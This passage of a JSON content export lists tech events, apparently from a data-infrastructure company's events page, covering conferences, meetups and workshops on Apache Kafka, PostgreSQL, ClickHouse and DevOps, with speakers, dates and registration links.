"}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-13T15:00:00.000Z","location":"Hamburg","person":[{"_key":"c65fa1ddd761","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"primaryCTA":{"_type":"link","externalUrl":"https://www.containerdays.io/","title":"Attend"},"region":"EMEA","startDate":"2023-09-11T07:00:00.000Z","tags":[{"_key":"d7dbf57706ab","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"f41edb82d1be","_ref":"7333c82f-1b90-44a0-b6dc-8a4cd4fa5387","_type":"tag"}],"title":"Container Days Hamburg","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-04-18T09:39:07Z","_id":"95261d1c-a082-4089-a326-23c3493387cc","_rev":"06CnkCNLb8AnjQwiBnf2U3","_type":"event","_updatedAt":"2024-06-11T20:20:25Z","contentIsPage":false,"country":"US","description":[{"_key":"ee1de606483d","_type":"block","children":[{"_key":"be213e5ecdd4","_type":"span","marks":[],"text":"The "},{"_key":"baeb0df7f513","_type":"span","marks":["3ea94d1b97d0"],"text":"June 10 Open Source Data Infrastructure Meetup in Austin"},{"_key":"410ecc19bc17","_type":"span","marks":[],"text":", a collaboration with "},{"_key":"92fe9ccc12c7","_type":"span","marks":["09f5f6cb72df"],"text":"Austin DevOps"},{"_key":"f390a05e7d41","_type":"span","marks":[],"text":" was a success! With over 30 attendees, we heard by "},{"_key":"41e61db91d57","_type":"span","marks":["ae179fcdfa4a"],"text":"Dennis Wittekind"},{"_key":"f94dd143f5fa","_type":"span","marks":[],"text":" at Confluent and "},{"_key":"e896a428c635","_type":"span","marks":["b15a81b7d77a"],"text":"Garrett Raska"},{"_key":"8c262ae28c6e","_type":"span","marks":[],"text":"!"}],"markDefs":[{"_key":"ae179fcdfa4a","_type":"link","href":"https://www.linkedin.com/in/denniswittekind/"},{"_key":"b15a81b7d77a","_type":"link","href":"https://www.linkedin.com/in/garrettraska/"},{"_key":"09f5f6cb72df","_type":"link","href":"https://www.meetup.com/austin-devops/"},{"_key":"3ea94d1b97d0","_type":"link","href":"https://www.meetup.com/austin-open-source-data-infrastructure-meetup/events/300468858/"}],"style":"normal"},{"_key":"9421af570ebe","_type":"block","children":[{"_key":"794e15b3bf8d","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"463095cb9e1c","_type":"block","children":[{"_key":"7ebabad84caa","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"1cb71ef1478c","_type":"image","asset":{"_ref":"image-0316a3f06d223534f37da146c05f4d57ebde3c2e-4032x3024-jpg","_type":"reference"}},{"_key":"d6de88246db5","_type":"block","children":[{"_key":"df0e706be2cb","_type":"span","marks":["strong"],"text":"Taming the Beast"},{"_key":"d40b03f62ee01","_type":"span","marks":[],"text":" - "},{"_key":"87ebe454ee5d","_type":"span","marks":["91d2fb3229f1"],"text":"Dennis Wittekind"}],"markDefs":[{"_key":"91d2fb3229f1","_type":"link","href":"https://www.linkedin.com/in/denniswittekind/"}],"style":"normal"},{"_key":"b4a38bbaef64","_type":"block","children":[{"_key":"212311bc72190","_type":"span","marks":["em"],"text":"How to best manage a highly scalable streaming platform"}],"markDefs":[],"style":"normal"},{"_key":"63334fd5c2b1","_type":"block","children":[{"_key":"6c76beed61f20","_type":"span","marks":["strong"],"text":"The Problem"},{"_key":"6c76beed61f21","_type":"span","marks":[],"text":"\nThe deployment methodologies afforded to Apache Kafka users and admins are endless.\nUnfortunately, despite how easy it has become to deploy and use Apache Kafka, “day 2” management can still be a challenge. Tasks like monitoring, capacity planning, access provisioning, client tuning and configuration, ensuring data quality, and many more can seem insurmountable without the right tools and best practices."}],"markDefs":[],"style":"normal"},{"_key":"49eaba6502c4","_type":"block","children":[{"_key":"f154e9a2458b0","_type":"span","marks":["strong"],"text":"Tools"},{"_key":"f154e9a2458b1","_type":"span","marks":[],"text":"\nThere are plenty of open source and proprietary tools available today, in addition to some good advice to help tackle managing your burgeoning Apache Kafka deployment:"}],"markDefs":[],"style":"normal"},{"_key":"a8404f8443f5","_type":"block","children":[{"_key":"624d05643ba10","_type":"span","marks":[],"text":"Develop a client SDK, enforce client best practices, be wary of ‘Out of the box’ frameworks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9e4872932866","_type":"block","children":[{"_key":"50b8218d8d880","_type":"span","marks":[],"text":"Have a robust CI/CD pipeline for provisioning Kafka resources"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"afc625a95d14","_type":"block","children":[{"_key":"82ad68bd56390","_type":"span","marks":[],"text":"Use schemas! Build a data contract"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"92c0d746074b","_type":"block","children":[{"_key":"a70ee3c0f1b20","_type":"span","marks":[],"text":"Monitor all the things!"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dd9cc00c6579","_type":"block","children":[{"_key":"6e90dd009e3f0","_type":"span","marks":[],"text":"Plan for outages… even during maintenance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"46d98e22e442","_type":"block","children":[{"_key":"361e579635f60","_type":"span","marks":["strong"],"text":"The"},{"_key":"361e579635f61","_type":"span","marks":[],"text":" "},{"_key":"361e579635f62","_type":"span","marks":["strong"],"text":"solution"}],"markDefs":[],"style":"normal"},{"_key":"d4aeb6b32edf","_type":"block","children":[{"_key":"4425854b956b0","_type":"span","marks":[],"text":"Equipped with the right tools and best practices, you will be well on your way to a pleasant Apache Kafka experience, with happy, performant brokers, happy customers, and most importantly, a happy Kafka Administrator team, with time to innovate your business as opposed to keeping the lights on."}],"markDefs":[],"style":"normal"},{"_key":"5341d1707ff1","_type":"image","asset":{"_ref":"image-e1856d3cd71cfe90c88c28138e50a202eb94d9a0-4032x3024-jpg","_type":"reference"}},{"_key":"aebab766e096","_type":"block","children":[{"_key":"e0adc08e53110","_type":"span","marks":["strong"],"text":"Redpanda \u0026 the Evolution of Open Source Streaming Platforms -"},{"_key":"e0adc08e53111","_type":"span","marks":[],"text":" "},{"_key":"e0adc08e53112","_type":"span","marks":["591d4ebdf11a"],"text":"Garrett Raska"}],"markDefs":[{"_key":"591d4ebdf11a","_type":"link","href":"https://www.linkedin.com/in/garrettraska/"}],"style":"normal"},{"_key":"bc5ec85c3ae6","_type":"block","children":[{"_key":"1dec5bff1c560","_type":"span","marks":[],"text":"As cloud infrastructure evolves, distributed systems must adapt. Redpanda will be presenting the approach we took to re-engineer the underlying architecture and core components of a data streaming platform to maximize performance and developer velocity in an open source format."}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-10T19:00:00.000Z","hideInEventPage":false,"image":{"_type":"mainImage","alt":"A group of people are sitting in a conference room with white chairs and desks, smiling and posing for a group photo. In the foreground, a Jenn with purple hair and glasses is taking a selfie with the group in the background.","asset":{"_ref":"image-f7caced08c497dd361e2046c53fb3d5a52305665-4032x3024-jpg","_type":"reference"}},"linkTitle":"Register","location":"Austin","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/austin-open-source-data-infrastructure-meetup/events/300468858/","title":"RSVP"},"region":"AMER","startDate":"2024-06-10T16:00:00.000Z","title":"Austin OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-01-10T14:31:44Z","_id":"970f21c1-aa8a-4033-90fe-c6bf077139f1","_rev":"gPeuwwT4w78NfMbaxsvFn1","_type":"event","_updatedAt":"2023-02-21T13:02:10Z","country":"BE","description":[{"_key":"8f1b1814cde0","_type":"block","children":[{"_key":"c12735b8f62b0","_type":"span","marks":[],"text":"Interested in open source infrastructure automation? Join our Staff Developer Advocate, Floor Drees, who is speaking about "},{"_key":"841d19080af3","_type":"span","marks":["d024fad0649d"],"text":"open source data infrastructure"},{"_key":"4409a99b34ce","_type":"span","marks":[],"text":"! "}],"markDefs":[{"_key":"d024fad0649d","_type":"link","href":"https://cfp.cfgmgmtcamp.org/2023/talk/8NTKML/"}],"style":"normal"}],"endDate":"2023-02-08T12:00:00.000Z","location":"Ghent","primaryCTA":{"_type":"link","externalUrl":"https://cfgmgmtcamp.eu/ghent2023/","title":"Register"},"region":"EMEA","startDate":"2023-02-06T07:00:00.000Z","title":"Configuration Management Camp 2023","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-07-07T11:15:23Z","_id":"9768ed6e-92db-4235-b040-573bb601b0b2","_rev":"00HkATqwml6aoQnrNzLqtX","_type":"event","_updatedAt":"2023-11-20T12:05:31Z","country":"US","description":[{"_key":"f645815c982c","_type":"block","children":[{"_key":"cf1ee80a87810","_type":"span","marks":[],"text":"Chris Egerton, Greg Harris, and Francesco Tisiot will all be speaking at"},{"_key":"5e701a58f548","_type":"span","marks":["em"],"text":" the"},{"_key":"8816589d8cad","_type":"span","marks":[],"text":" Apache Kafka® and real-time streaming event of the year: Current."}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-27T15:00:00.000Z","location":"San Jose","primaryCTA":{"_type":"link","externalUrl":"https://www.confluent.io/events/current/","title":"Join"},"region":"AMER","startDate":"2023-09-26T07:00:00.000Z","tags":[],"talks":[{"_key":"f8d89c5462bf","_type":"talk","description":[{"_key":"9befd18f7896","_type":"block","children":[{"_key":"725128ebd6b50","_type":"span","marks":[],"text":"If you’re thinking about migrating from batch to streaming, but are afraid of any disruption the process may cause in your organization, this session is for you!"}],"markDefs":[],"style":"normal"},{"_key":"04de7558ef22","_type":"block","children":[{"_key":"00067d47f1d1","_type":"span","marks":["41cb5dac2b64"],"text":"Talk recording"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"41cb5dac2b64","_type":"link","href":"https://www.youtube.com/watch?v=fTRNm-1Q1EI"}],"style":"normal"}],"speakers":[{"_key":"ae3e80497ccb","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"From 🐛 to 🦋: Data Pipelines Evolution from Batch to Streaming"}],"title":"Current 2023","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-07-07T10:38:42Z","_id":"9981036f-d930-4435-997c-d49b711fd168","_rev":"lIJH2XrFwRt4uP1xSOtZfo","_type":"event","_updatedAt":"2023-07-07T10:50:05Z","country":"ES","description":[{"_key":"532549afe05d","_type":"block","children":[{"_key":"cdcf5caab52d","_type":"span","marks":[],"text":"Attending Open Source Summit Europe? Make sure you don't miss Celeste's talk \"Building on-Ramps for Non-Code Contributors in Open Source\", with Natali Vlatko."}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-21T15:00:00.000Z","location":"Bilbao","primaryCTA":{"_type":"link","externalUrl":"https://events.linuxfoundation.org/open-source-summit-europe/","title":"Join"},"region":"EMEA","startDate":"2023-09-19T07:00:00.000Z","talks":[{"_key":"c9cd70acfb7f","_type":"talk","description":[{"_key":"0453670e40e2","_type":"block","children":[{"_key":"d8efd4b7e8d80","_type":"span","marks":[],"text":"Open source software is so much more than code – documentation, community, and infrastructure need maintaining. How do you attract and keep non-code contributors? Celeste Horgan \u0026 Natali Vlatko will show you the way!"}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"eb648454b01e","_ref":"174cfdd2-a352-4b86-9105-fcb4c94075e4","_type":"reference"}],"title":"Building on-Ramps for Non-Code Contributors in Open Source"}],"title":"Open Source Summit","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-08-29T09:01:01Z","_id":"9a4cdbda-97fc-46c9-93c1-db1338f9693c","_rev":"JgIs2qI3CUllaKCG3WLLs1","_type":"event","_updatedAt":"2023-08-29T09:25:40Z","country":"GB","description":[{"_key":"15b74c19b68e","_type":"block","children":[{"_key":"215256a60bd5","_type":"span","marks":[],"text":"Join Francesco for his session \"JDBC Source Connector: What Could Go Wrong?\"."}],"markDefs":[],"style":"normal"}],"endDate":"2022-04-25T15:00:00.000Z","location":"London","region":"EMEA","startDate":"2022-04-25T07:00:00.000Z","talks":[{"_key":"051d8339f26e","_type":"talk","description":[{"_key":"8dc43025cfa9","_type":"block","children":[{"_key":"3296df4126c90","_type":"span","marks":[],"text":"Want to reliably take your Database events into Apache Kafka? Look no further:"}],"markDefs":[],"style":"normal"},{"_key":"ee3ed1ded0d7","_type":"block","children":[{"_key":"60b0afce3165","_type":"span","marks":[],"text":"- "},{"_key":"582b8f6da303","_type":"span","marks":["771dd4c2506b"],"text":"Slides"}],"markDefs":[{"_key":"771dd4c2506b","_type":"link","href":"https://ftisiot.net/talks/kafka-jdbc-what-can-go-wrong/"}],"style":"normal"},{"_key":"b72a77edccf1","_type":"block","children":[{"_key":"a2b7550762b7","_type":"span","marks":[],"text":"- "},{"_key":"254cc836d84c","_type":"span","marks":["16101c6b1e6c"],"text":"Recording"}],"markDefs":[{"_key":"16101c6b1e6c","_type":"link","href":"https://www.confluent.io/events/kafka-summit-london-2022/jdbc-source-connector-what-could-go-wrong/"}],"style":"normal"}],"speakers":[{"_key":"94aebd939f4c","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"JDBC Source Connector: What Could Go Wrong?"}],"title":"Kafka Summit 2022","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-08-13T11:38:00Z","_id":"9b40a598-1df9-468c-b9e6-0f19302399ec","_rev":"eaCZ7mIhmiYZX5KGqRVceo","_type":"event","_updatedAt":"2024-09-09T06:43:29Z","contentIsPage":false,"country":"MA","description":[{"_key":"52403585e83b","_type":"block","children":[{"_key":"b913fb8b28300","_type":"span","marks":["strong"],"text":"DEVOXX MOROCCO"},{"_key":"b913fb8b28301","_type":"span","marks":[],"text":" is the largest developer conference in Africa \u0026 Middle East region, which aims to enable local and international technology experts to share their knowledge and expertise with technology enthusiasts, the 3-day conference covers sessions on Java, Cloud, Containers \u0026 Cloud Native topics, DevOps \u0026 Culture, Big Data Machine Learning \u0026 AI, Modern Wed, JS, UX, Architecture, Mobile, IoT, Blockchain…."}],"markDefs":[],"style":"normal"}],"endDate":"2024-10-04T16:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Marrakech, Morocco","pageType":{"_type":"eventPage","heroVisualType":"image","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://devoxx.ma/","title":"Join"},"region":"EMEA","startDate":"2024-10-02T06:00:00.000Z","talks":[{"_key":"dfcc9d7efcc1","_type":"talk","description":[{"_key":"7bc5bd33ea67","_type":"block","children":[{"_key":"af33bf9651510","_type":"span","marks":[],"text":"It's fascinating how vector search boosted the usage of contextual search across numerous applications.\nThe underlying idea is quite straightforward. For example, let's take a movie recommendation system. The idea is first to represent each movie in our catalog as a vector, a numerical representation of a piece of text...."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"a4de0d191047","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"A deep dive into vector search technology and tools"}],"title":"Devoxx Morocco","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-04-06T10:10:33Z","_id":"9baaa1ca-d01a-492f-b3e2-06d211f34742","_rev":"JgIs2qI3CUllaKCG3TGH9F","_type":"event","_updatedAt":"2023-08-24T14:53:45Z","country":"CA","description":[{"_key":"aed783b37832","_type":"block","children":[{"_key":"0b84bfd3fdb60","_type":"span","marks":[],"text":"PGCon is an annual conference for users and developers of PostgreSQL, and we have a quite a few people joining. And: Ronan Dunklau and Dewan Ahmed are speaking. "}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-01T15:00:00.000Z","location":"Ottawa","primaryCTA":{"_type":"link","externalUrl":"https://www.pgcon.org/2023/","title":"Join"},"startDate":"2023-05-31T07:00:00.000Z","talks":[{"_key":"82b495fe391d","_type":"talk","description":[{"_key":"cd8494a0721c","_type":"block","children":[{"_key":"3539579410190","_type":"span","marks":[],"text":"Tutorial using HashiCorp Vault to make a case for dynamic secrets."}],"markDefs":[],"style":"normal"},{"_key":"2dc26eb5fc3b","_type":"block","children":[{"_key":"3da9000abe06","_type":"span","marks":["strong","3677628fe678"],"text":"Link to the demo"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3677628fe678","_type":"link","href":"https://github.com/dewan-ahmed/vault-secret-management-tutorial"}],"style":"normal"}],"speakers":[{"_key":"b6d6d4ecaaed","_ref":"a4127c21-8608-4792-85d5-f565256a8f8a","_type":"reference"}],"title":"Who's managing the credentials for your database?"}],"title":"PGCon Ottawa","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-09-18T10:27:30Z","_id":"a0c39d5d-6506-4c89-9996-4d30e5fc3c67","_rev":"a4XEptz0xD4dYAWJ07nfYZ","_type":"event","_updatedAt":"2023-09-18T10:27:30Z","contentIsPage":false,"country":"DE","description":[{"_key":"326754fed607","_type":"block","children":[{"_key":"255fac3e73ac","_type":"span","marks":[],"text":"Join Mathieu Anderson for his session \"The forms that TypeScript built: schema driven and typesafe forms in React\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-11-03T16:00:00.000Z","linkTitle":"Register","location":"Berlin","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://berlin.cityjsconf.org/","title":"Join"},"region":"EMEA","startDate":"2023-11-03T08:00:00.000Z","title":"CityJS Berlin","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-07-24T09:59:54Z","_id":"a0d0aea3-a819-4ff0-abe8-7cbb6e22dbf8","_rev":"Q21J3pgWoUWkhUhtSrHSX1","_type":"event","_updatedAt":"2023-07-24T09:59:54Z","country":"US","description":[{"_key":"5b488d5afc0c","_type":"block","children":[{"_key":"41cbe4a9b42b","_type":"span","marks":[],"text":"Join the New York Open Source Data Infrastructure meetup at DataDog, for a talk by Brooke Jamieson, Senior Developer Advocate at AWS, and lots of networking."}],"markDefs":[],"style":"normal"}],"endDate":"2023-07-27T19:00:00.000Z","location":"New York","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/new-york-open-source-data-infrastructure-meetup/events/294326349","title":"RSVP"},"region":"AMER","startDate":"2023-07-27T16:00:00.000Z","title":"OSDI New York","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-09-05T18:36:59Z","_id":"a2a44cc0-9977-413a-aca1-3599144932fc","_rev":"7lO65z9OheRFnytB4YKW5C","_type":"event","_updatedAt":"2023-09-05T18:36:59Z","contentIsPage":false,"description":[{"_key":"23c5ad0321f7","_type":"block","children":[{"_key":"5ca7ecdb2601","_type":"span","marks":[],"text":"Join the livestream we do this June, with the wonderful people at OVH Cloud."}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-23T18:35:00.000Z","linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"90vh"},"iframeForm":{"iframeHeight":800}},"startDate":"2023-06-23T18:34:00.000Z","talks":[{"_key":"539b5b58015b","_type":"talk","description":[{"_key":"cc240a98c8a8","_type":"block","children":[{"_key":"e4c428ceaf84","_type":"span","marks":[],"text":"The "},{"_key":"acb5e0903150","_type":"span","marks":["fe84a1a61ec2"],"text":"recording of a livestream"},{"_key":"47664c7712f4","_type":"span","marks":[],"text":" we've done with OVH Cloud (in French)."}],"markDefs":[{"_key":"fe84a1a61ec2","_type":"link","href":"https://www.youtube.com/watch?v=0SNO4oKM5sk\u0026ab_channel=OVHcloud"}],"style":"normal"}],"speakers":[{"_key":"550bd2726746","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"title":"DBaaS Aiven \u0026 OVHcloud - Des métriques complètes sur vos bases de données tout en s'amusant"}],"title":"OVH Cloud Livestream","type":"livestream","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-07-31T10:28:19Z","_id":"a3fd79c3-f738-42b5-831c-920ee9a90951","_rev":"JHBctTLkFjmsOG75HeGmir","_type":"event","_updatedAt":"2023-07-31T10:32:41Z","country":"SE","description":[{"_key":"5830f3ca353a","_type":"block","children":[{"_key":"ea61aa3a03730","_type":"span","marks":[],"text":"Join the Stockholm Open Source Data Infrastructure meetup for talks by Pär Eriksson and Gustav Norbäcker from Irori."}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-21T19:00:00.000Z","location":"Stockholm","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/stockholm-open-source-data-infrastructure-meetup/events/295067202","title":"Join"},"region":"EMEA","startDate":"2023-09-21T16:00:00.000Z","title":"OSDI Stockholm","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-05-01T15:49:44Z","_id":"a7e499d0-0462-40db-b76a-1b79037386ba","_rev":"FJE9FJz5NeK3Yo2P5PoWeY","_type":"event","_updatedAt":"2023-06-15T10:16:29Z","country":"US","description":[{"_key":"79b09e0a0dfc","_type":"block","children":[{"_key":"3216c23092e3","_type":"span","marks":[],"text":"Join Senior Developer Advocate Dewan Ahmed for his workshop \"Enforce fine-grained policy control across development and production environments\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-08-10T15:45:00.000Z","location":"Chicago","primaryCTA":{"_type":"link","externalUrl":"https://devopsdays.org/events/2023-chicago/welcome/","title":"Register"},"startDate":"2023-08-09T07:00:00.000Z","talks":[{"_key":"bbe1c2fe2fd8","_type":"talk","description":[{"_key":"dbf3439badae","_type":"block","children":[{"_key":"c43a86f4fe8d0","_type":"span","marks":[],"text":"At the end of this workshop, co-hosted with Peter ONeill, you’ll have a fairly good understanding of both tools (Terraform and Open Policy Agent). You’ll be able to use a general-purpose policy engine to enforce policies across the stack in your own organization when dealing with large-scale deployment across development and production environments."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"7b1031ec4625","_ref":"a4127c21-8608-4792-85d5-f565256a8f8a","_type":"reference"}],"title":"Enforce fine-grained policy control across development and production environments"}],"title":"Devopsdays Chicago","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-01-08T13:01:23Z","_id":"a7ed73cb-67d0-4dfd-b740-c87e223c2c17","_rev":"O0EfMG90JIl2OD8UsH6Gkz","_type":"event","_updatedAt":"2024-01-08T13:01:23Z","contentIsPage":false,"country":"IN","description":[{"_key":"06924f73951b","_type":"block","children":[{"_key":"520f8c55e791","_type":"span","marks":[],"text":"Join for talks by Aiven's Olena Kutsenko, \"Beginners guide to balance your data across Apache Kafka partitions\", and Gunnar Morling, \"From Postgres to OpenSearch in No Time\"."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-04T12:00:00.000Z","linkTitle":"Register","location":"Bengaluru","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/india-open-source-data-infrastructure-meetup/events/297883098/","title":"RSVP"},"region":"APAC","startDate":"2024-05-04T09:00:00.000Z","title":"India OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-08-17T09:59:30Z","_id":"bcefdf56-1036-421e-80fe-1c3950a5c96f","_rev":"B2qRym1lObpfgwjNwfgjvx","_type":"event","_updatedAt":"2023-08-17T10:00:34Z","country":"UA","description":[{"_key":"59f55e67a7bf","_type":"block","children":[{"_key":"c75b31b1e927","_type":"span","marks":[],"text":"Join Olena Kutsenko, virtually, for her talk \"ClickHouse: what is behind the fastest columnar database\" 💛💙"}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-22T15:00:00.000Z","primaryCTA":{"_type":"link","externalUrl":"https://devoxx.com.ua/","title":"Register"},"startDate":"2023-09-22T07:00:00.000Z","talks":[{"_key":"80a7d2c1a2db","_type":"talk","description":[{"_key":"368afb9e68b4","_type":"block","children":[{"_key":"f8763af61d7a0","_type":"span","marks":[],"text":"If your challenge is analysing terabytes of data - this talk is for you. If you're a data scientist looking for tools to work with big data - this talk is for you. And, of course, if you are just curious about what makes ClickHouse crazy fast - this talk is for you as well."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"7b66a58960da","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"ClickHouse: what is behind the fastest columnar database"}],"title":"Devoxx Ukraine","type":"conference","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-11-09T11:33:56Z","_id":"bfbd7a2f-ae54-4342-9445-f898f45096ef","_rev":"Do3156plRwIXmiihNv0jMH","_type":"event","_updatedAt":"2023-12-14T10:59:59Z","contentIsPage":false,"description":[{"_key":"ed80e5f0e227","_type":"block","children":[{"_key":"c66b38ac74e40","_type":"span","marks":[],"text":"Learn how to to set up and configure an example data application using PostgreSQL® and Redis® for continuous delivery with Netlify."}],"markDefs":[],"style":"normal"}],"endDate":"2024-01-10T09:00:00.000Z","image":{"_type":"mainImage","asset":{"_ref":"image-c29ffb10ec4fa18b9e30ab19435e2ecbc69b49c1-1200x628-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","internalLink":{"_ref":"2357e829-9253-4cf1-83fe-8426d2e261cb","_type":"reference"},"title":"Register"},"startDate":"2024-01-10T08:00:00.000Z","title":"Configure your app and data for Continuous Delivery with Netlify","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-02-17T10:17:44Z","_id":"b858f733-6c49-498a-bff9-79846458523d","_rev":"FJE9FJz5NeK3Yo2P5Q2aAD","_type":"event","_updatedAt":"2023-06-15T12:39:40Z","country":"GB","description":[{"_key":"638d1d69981e","_type":"block","children":[{"_key":"26246a7a464c0","_type":"span","marks":[],"text":"Join Olena Babenko, Olena Kutsenko, and Chris Egerton at the premier event for people who want to learn about streaming data. Aiven will be at booth G8 - stop by for a treat!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-05-17T16:00:00.000Z","location":"London","primaryCTA":{"_type":"link","externalUrl":"https://www.kafka-summit.org/events/kafka-summit-london-2023/","title":"Join"},"region":"EMEA","startDate":"2023-05-16T07:00:00.000Z","talks":[{"_key":"db53a0d1e9ff","_type":"talk","description":[{"_key":"d558b0e303a9","_type":"block","children":[{"_key":"0ae9e738fc81","_type":"span","marks":[],"text":"Talk with Olena Babenko, Staff Engineer at Aiven, on what to do when the data distribution across topic partitions is badly broken and as a result significantly hurts consuming applications performances, increasing lag and slowing data pro"},{"_key":"c9a4190773a3","_type":"span","marks":[],"text":"cessing."}],"markDefs":[],"style":"normal"},{"_key":"4f91e815dba1","_type":"block","children":[{"_key":"e2df4893a3fe","_type":"span","marks":["382c8b09f504"],"text":"Slides and recording"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"382c8b09f504","_type":"link","href":"https://www.confluent.io/events/kafka-summit-london-2023/the-dark-and-dirty-side-of-fixing-uneven-partitions/"}],"style":"normal"}],"speakers":[{"_key":"d5a789ae0553","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"The Dark and Dirty Side of Fixing Uneven Partitions"}],"title":"Kafka Summit London","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-06-14T11:56:32Z","_id":"c4319471-31d7-4600-bb12-31e1770c3426","_rev":"Kb0dTVsXFm2RoZ9rpoECzP","_type":"event","_updatedAt":"2024-06-14T11:56:32Z","contentIsPage":false,"country":"NL","description":[{"_key":"19734dabe8e9","_type":"block","children":[{"_key":"8caf05e487900","_type":"span","marks":[],"text":"Join the Amsterdam Open Source Data Infrastructure meetup for talks by Harmke Alkemade, Technical Specialist in AI, Global Black Belt at Microsoft, and Muralidhar Basani, Staff Software Engineer at Aiven and Klaw maintainer."}],"markDefs":[],"style":"normal"}],"endDate":"2024-09-25T19:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Amsterdam","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/amsterdam-open-source-data-infrastructure-meetup/events/300447460/","title":"RSVP"},"region":"EMEA","startDate":"2024-09-25T16:00:00.000Z","title":"Amsterdam OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-05-12T07:00:14Z","_id":"c4396532-c1d2-4fd3-8351-7b555ba8db7d","_rev":"Sutmd0597BicUlBXY5bAR2","_type":"event","_updatedAt":"2023-05-19T10:24:49Z","description":[{"_key":"7bd624cad18b","_type":"block","children":[{"_key":"3b615df3f0060","_type":"span","marks":[],"text":"In this live fireside chat, Mike Zimberg, CTO at Digital Asset Research will share how they achieved a 99.99% uptime, while lowering their managed Apache Kafka® costs by 25% and improving their performance by 10x."}],"markDefs":[],"style":"normal"}],"endDate":"2023-05-23T14:30:00.000Z","person":[{"_key":"4fb3d92130f6","_ref":"221ba44a-9a77-4ee5-a883-63cdfb045660","_type":"reference"},{"_key":"f0273f1847a8","_ref":"df2f55c4-4bde-4170-a578-f6939fff2f79","_type":"reference"}],"primaryCTA":{"_type":"link","internalLink":{"_ref":"0a602320-c997-44ea-a9f4-a095c53241e6","_type":"reference"},"title":"Join the livestream"},"startDate":"2023-05-23T13:30:00.000Z","tags":[{"_key":"c31a3c70fc45","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"},{"_key":"7a68e5adfb4b","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"20a2c11ede5d","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"add68390fbb1","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Maximize cloud 